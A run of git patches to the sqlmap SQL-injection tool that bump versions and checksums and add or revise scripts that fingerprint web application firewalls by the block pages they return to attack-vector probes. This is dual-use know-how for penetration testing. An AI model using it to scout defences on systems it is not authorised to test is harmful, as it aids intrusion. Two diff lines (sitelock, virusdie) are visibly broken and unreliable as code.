waf/hyperguard.py -256a7ea2c1cd2745fe788cf8f6123f8a waf/immunify360.py +256a7ea2c1cd2745fe788cf8f6123f8a waf/imunify360.py 1adbd0c470d1bbcec370722f05094255 waf/incapsula.py fb6be55d21a70765e35549af2484f762 waf/__init__.py a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py diff --git a/waf/immunify360.py b/waf/imunify360.py similarity index 100% rename from waf/immunify360.py rename to waf/imunify360.py From 929df9bc34437942e3bb6257ad7948e50c541cca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 15:29:35 +0100 Subject: [PATCH 016/800] Minor update of WAF scripts --- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- waf/asm.py | 2 +- waf/paloalto.py | 1 + 4 files changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3a3a6c1243e..be514744455 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.15" +VERSION = "1.3.1.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 226833f0f5e..153597df80f 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -098028ac6cec0095c6ffd8019d448b1c lib/core/settings.py +4a682eb379b6eeec3ff41548baf8363f lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -402,7 +402,7 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud 94eec6c5d02357596292d36a8533f08f waf/anquanbao.py 7ab1a7cd51a02899592f4f755d36a02e waf/approach.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py -f0aa6abf1f9af78374e58a64cb33c9de waf/asm.py +069a99125ae1aa6fb3babe81e42d3e94 waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py 4fd9a8e3aac364fe5509b23e7eb5a448 waf/barracuda.py 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py @@ -440,7 +440,7 @@ d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py a59aff03a5b3fb40ea0feb3489677040 waf/onmessage.py -7ff3c93f2c77a984ebbf217c7c38a796 waf/paloalto.py +532b6f8de357a9b88a313944e1756538 waf/paloalto.py 2979bb64c24256a83625d75a385dde9b waf/profense.py 8de0d46738335a4e498c4ac9038ac3c3 waf/proventia.py ac60456fe7af4eb501d448910e98ee4b waf/radware.py diff --git a/waf/asm.py b/waf/asm.py index 0b757be90b9..5b9a4aff345 100644 --- a/waf/asm.py +++ b/waf/asm.py @@ -18,7 +18,7 @@ def detect(get_page): page, headers, code = get_page(get=vector) retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") retval |= all(_ in (page or "") for _ in ("This page can't be displayed. Contact support for additional information", "The incident ID is:")) - retval |= (code >= 400) and "ID" in (page or "") and re.search(r"\b\d{19}\b", page or "") is not None + retval |= re.search(r"(?i)Support.ID", page or "") and re.search(r"\b\d{19}\b", page or "") is not None if retval: break diff --git a/waf/paloalto.py b/waf/paloalto.py index b23892a2c2d..ef059653107 100644 --- a/waf/paloalto.py +++ b/waf/paloalto.py @@ -17,6 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) retval = re.search(r"has been blocked in accordance with company policy", page or "", re.I) is not None + retval |= all(_ in (page or "") for _ in ("Palo Alto Next Generation Security Platform", "Download Blocked")) if retval: break From ba617c49a4d39c76ca12f6644c897b3ebee5a5c0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 15:35:54 +0100 Subject: [PATCH 017/800] Minor patch --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/asm.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index be514744455..b626e194cb7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.16" +VERSION = "1.3.1.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 153597df80f..4082e6d7538 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -4a682eb379b6eeec3ff41548baf8363f lib/core/settings.py +b7fcdd7fd2733a559b004546438eaf72 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -402,7 +402,7 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud 94eec6c5d02357596292d36a8533f08f waf/anquanbao.py 7ab1a7cd51a02899592f4f755d36a02e waf/approach.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py -069a99125ae1aa6fb3babe81e42d3e94 waf/asm.py +e1fb3427009619b39c42324f7e41c16e waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py 4fd9a8e3aac364fe5509b23e7eb5a448 waf/barracuda.py 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py diff --git a/waf/asm.py b/waf/asm.py index 5b9a4aff345..220c6fbd595 100644 --- a/waf/asm.py +++ b/waf/asm.py @@ -18,7 +18,7 @@ def detect(get_page): page, headers, code = get_page(get=vector) retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") retval |= all(_ in (page or "") for _ in ("This page can't be displayed. Contact support for additional information", "The incident ID is:")) - retval |= re.search(r"(?i)Support.ID", page or "") and re.search(r"\b\d{19}\b", page or "") is not None + retval |= re.search(r"(?i)Support.ID", page or "") is not None and re.search(r"\b\d{19}\b", page or "") is not None if retval: break From 97cf5b9ace428040fedfb3c76f751e582ed78a16 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 15:52:22 +0100 Subject: [PATCH 018/800] New WAF script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 ++- waf/stackpath.py | 22 ++++++++++++++++++++++ 3 files changed, 25 insertions(+), 2 deletions(-) create mode 100644 waf/stackpath.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b626e194cb7..2cff35d8dc1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.17" +VERSION = "1.3.1.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 4082e6d7538..1633f3525f4 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -b7fcdd7fd2733a559b004546438eaf72 lib/core/settings.py +b23dad136d358b0b109459f85b713ed9 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -455,6 +455,7 @@ ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py 4d79866c7cff0d7650a22d0a85126c05 waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py +197bae9ee9b7e8d4f77e814a33cfd665 waf/stackpath.py a0aa5997d0d5db18920840220dc4ad36 waf/stingray.py 74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py 205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py diff --git a/waf/stackpath.py b/waf/stackpath.py new file mode 100644 index 00000000000..20c1a630e63 --- /dev/null +++ b/waf/stackpath.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "StackPath Web Application Firewall (StackPath LLC)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = all(_ in (page or "") for _ in ("This website is using a security service to protect itself from online attacks", "You performed an action that triggered the service and blocked your request")) + if retval: + break + + return retval From 3b4e44a38d061c7d5686ff8a701dc7f4358a6c0c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 16:05:59 +0100 Subject: [PATCH 019/800] Better results with following the redirect in identifyWaf phase --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 63194d46b10..334cc7511d8 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1418,7 +1418,7 @@ def _(*args, **kwargs): page, headers, code = None, None, None try: pushValue(kb.redirectChoice) - kb.redirectChoice = REDIRECTION.NO + kb.redirectChoice = REDIRECTION.YES if kwargs.get("get"): kwargs["get"] = urlencode(kwargs["get"]) kwargs["raise404"] = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 2cff35d8dc1..61da67448a0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.18" +VERSION = "1.3.1.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1633f3525f4..2eda37222a5 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -23,7 +23,7 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py be1d8f7b74ad64226c61b1a74251f8ff extra/wafdetectify/wafdetectify.py d0f2b424f5b2b06f26cdd7076d61be6e lib/controller/action.py -32959690fd69f4131cbb8abc051114e9 lib/controller/checks.py +02190e90bd7be774f800b7eabe589dd9 lib/controller/checks.py 3c18f0b1d1b9fda682201a264f170b31 lib/controller/controller.py e97a9d34fef5761a8eab6432ce3c7c53 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -b23dad136d358b0b109459f85b713ed9 lib/core/settings.py +3bf16fd13fe8bb9ec803ac0ae4d28b48 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -402,7 +402,7 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud 94eec6c5d02357596292d36a8533f08f waf/anquanbao.py 7ab1a7cd51a02899592f4f755d36a02e waf/approach.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py -e1fb3427009619b39c42324f7e41c16e waf/asm.py +33b6e6793ed3add457d7c909ec599ad3 waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py 4fd9a8e3aac364fe5509b23e7eb5a448 waf/barracuda.py 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py From bf207a7ea667a3e74e124368857199268d50bba3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 16:06:33 +0100 Subject: [PATCH 020/800] Minor improvement --- lib/core/settings.py | 2 +- txt/checksum.md5 | 2 +- waf/asm.py | 1 + 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 61da67448a0..3bdf180f876 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.19" +VERSION = "1.3.1.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 2eda37222a5..04f59ab9f65 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -3bf16fd13fe8bb9ec803ac0ae4d28b48 lib/core/settings.py +9a31fe00e29a69beeb4e4a7b78b58215 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py diff --git a/waf/asm.py b/waf/asm.py index 220c6fbd595..e34b0671c21 100644 --- a/waf/asm.py +++ b/waf/asm.py @@ -19,6 +19,7 @@ def detect(get_page): retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") retval |= all(_ in (page or "") for _ in ("This page can't be displayed. Contact support for additional information", "The incident ID is:")) retval |= re.search(r"(?i)Support.ID", page or "") is not None and re.search(r"\b\d{19}\b", page or "") is not None + retval |= all(_ in (page or "") for _ in ("security.f5aas.com", "Please enable JavaScript to view the page content")) if retval: break From cb72223452335c96d8f6be636294ea1add73c0c6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 16:23:18 +0100 Subject: [PATCH 021/800] Minor patch --- extra/wafdetectify/wafdetectify.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py index 3842ad23738..d46f6fd64cc 100644 --- a/extra/wafdetectify/wafdetectify.py +++ b/extra/wafdetectify/wafdetectify.py @@ -19,7 +19,7 @@ NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)" TIMEOUT = 10 -HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"} +HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "identity", "Cache-Control": "max-age=0"} SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf") LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"} diff --git a/lib/core/settings.py b/lib/core/settings.py index 3bdf180f876..fff5d165b52 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.20" +VERSION = "1.3.1.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 04f59ab9f65..6cf3da0ed13 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -21,7 +21,7 @@ e4805169a081b834ca51a60a150c7247 extra/shutils/newlines.py fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py 53d5dcba047f1285e32b9e88d2803ebf extra/sqlharvest/sqlharvest.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py -be1d8f7b74ad64226c61b1a74251f8ff extra/wafdetectify/wafdetectify.py +4d0912a9d16ab8cacd460649ed54d660 extra/wafdetectify/wafdetectify.py d0f2b424f5b2b06f26cdd7076d61be6e lib/controller/action.py 02190e90bd7be774f800b7eabe589dd9 lib/controller/checks.py 3c18f0b1d1b9fda682201a264f170b31 lib/controller/controller.py @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -9a31fe00e29a69beeb4e4a7b78b58215 lib/core/settings.py +694ae503d232f28a93f5ed5b4ff963e1 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py From 243b564b6aa39fdf7189450a4901bcd140751282 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 17:22:16 +0100 Subject: [PATCH 022/800] Minor updates to WAF scripts --- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- waf/sitelock.py | 2 +- waf/virusdie.py | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index fff5d165b52..6a177aec394 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.21" +VERSION = "1.3.1.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 6cf3da0ed13..f988c712069 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -694ae503d232f28a93f5ed5b4ff963e1 lib/core/settings.py +f32c2c0a78e084114e793736d30fb241 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -452,7 +452,7 @@ ac60456fe7af4eb501d448910e98ee4b waf/radware.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py 2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py -4d79866c7cff0d7650a22d0a85126c05 waf/sitelock.py +2e66f471c09149b56258e42883aae18d waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py 197bae9ee9b7e8d4f77e814a33cfd665 waf/stackpath.py @@ -464,7 +464,7 @@ ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 876c746d96193071271cb8b7e00e1422 waf/urlscan.py 45f28286ffd89200d4c9b6d88a7a518f waf/uspses.py 2d9d9fa8359a9f721e4b977d3da52410 waf/varnish.py -2be220869fae5a942a460428c84345af waf/virusdie.py +455bb16f552e7943e0a5cf35e83a74ea waf/virusdie.py 67df54343a85fe053226e2a5483b2c64 waf/wallarm.py 114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py c8dcaa89f6cde684a578fdc2e9ab2bb8 waf/webappsecure.py diff --git a/waf/sitelock.py b/waf/sitelock.py index 03eb231d1d5..d39d07a7143 100644 --- a/waf/sitelock.py +++ b/waf/sitelock.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("SiteLock Incident ID", "sitelock-site-verification", "sitelock_shield_logo")) + retval |= any(_ in (page or "") for _ in ("SiteLock Incident ID", '')) if retval: break diff --git a/waf/virusdie.py b/waf/virusdie.py index b6d5f31ac8e..69c0ff76ce6 100644 --- a/waf/virusdie.py +++ b/waf/virusdie.py @@ -14,6 +14,6 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("| Virusdie", "http://cdn.virusdie.ru/splash/firewallstop.png", "© Virusdie.ru

")) + retval = any(_ in (page or "") for _ in ("| Virusdie", "http://cdn.virusdie.ru/splash/firewallstop.png", "© Virusdie.ru

", ' Date: Tue, 8 Jan 2019 11:17:42 +0100 Subject: [PATCH 023/800] Removing junk --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/webappsecure.py | 15 --------------- 3 files changed, 2 insertions(+), 18 deletions(-) delete mode 100644 waf/webappsecure.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6a177aec394..65652d4e73a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.22" +VERSION = "1.3.1.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f988c712069..419d8348792 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -f32c2c0a78e084114e793736d30fb241 lib/core/settings.py +31b674a0b6ac1a6ef4ceefa5553ec310 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -467,7 +467,6 @@ ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 455bb16f552e7943e0a5cf35e83a74ea waf/virusdie.py 67df54343a85fe053226e2a5483b2c64 waf/wallarm.py 114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py -c8dcaa89f6cde684a578fdc2e9ab2bb8 waf/webappsecure.py a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py e16122cb40e5f3a66cba359cfb672bd2 waf/yundun.py diff --git a/waf/webappsecure.py b/waf/webappsecure.py deleted file mode 100644 index e966302c0db..00000000000 --- a/waf/webappsecure.py +++ /dev/null @@ -1,15 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -__product__ = "webApp.secure (webScurity)" - -def detect(get_page): - _, _, code = get_page() - if code == 403: - return False - _, _, code = get_page(get="nx=@@") - return code == 403 From 02b78d2691da7d88d8c8a42cf3877598174c8e40 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 8 Jan 2019 12:41:05 +0100 Subject: [PATCH 024/800] Update of WAF scripts --- lib/core/settings.py | 2 +- txt/checksum.md5 | 7 ++++--- waf/cerber.py | 23 +++++++++++++++++++++++ waf/incapsula.py | 2 ++ waf/sitelock.py | 1 + 5 files changed, 31 insertions(+), 4 deletions(-) create mode 100644 waf/cerber.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 65652d4e73a..a9483c89286 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.23" +VERSION = "1.3.1.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 419d8348792..89f7744c603 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -31b674a0b6ac1a6ef4ceefa5553ec310 lib/core/settings.py +a2e11fb9226d7b7348cff412042edd18 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -408,6 +408,7 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py ef8c5db49ad9973b59d6b9b65b001714 waf/blockdos.py 2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py +51c13712456699f23324f0a410ce6f93 waf/cerber.py 5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py 2565869c73a9a37f25deb317e8f5d9dd waf/cleantalk.py @@ -426,7 +427,7 @@ a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py 4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py 2aa7775dac8df4a3cdb736fdf51dc9cb waf/hyperguard.py 256a7ea2c1cd2745fe788cf8f6123f8a waf/imunify360.py -1adbd0c470d1bbcec370722f05094255 waf/incapsula.py +4c4d480c155ae99262043c80a76ec1d5 waf/incapsula.py fb6be55d21a70765e35549af2484f762 waf/__init__.py a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py @@ -452,7 +453,7 @@ ac60456fe7af4eb501d448910e98ee4b waf/radware.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py 2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py -2e66f471c09149b56258e42883aae18d waf/sitelock.py +24f1cc66625e58e4c91c0cb4364a2202 waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py 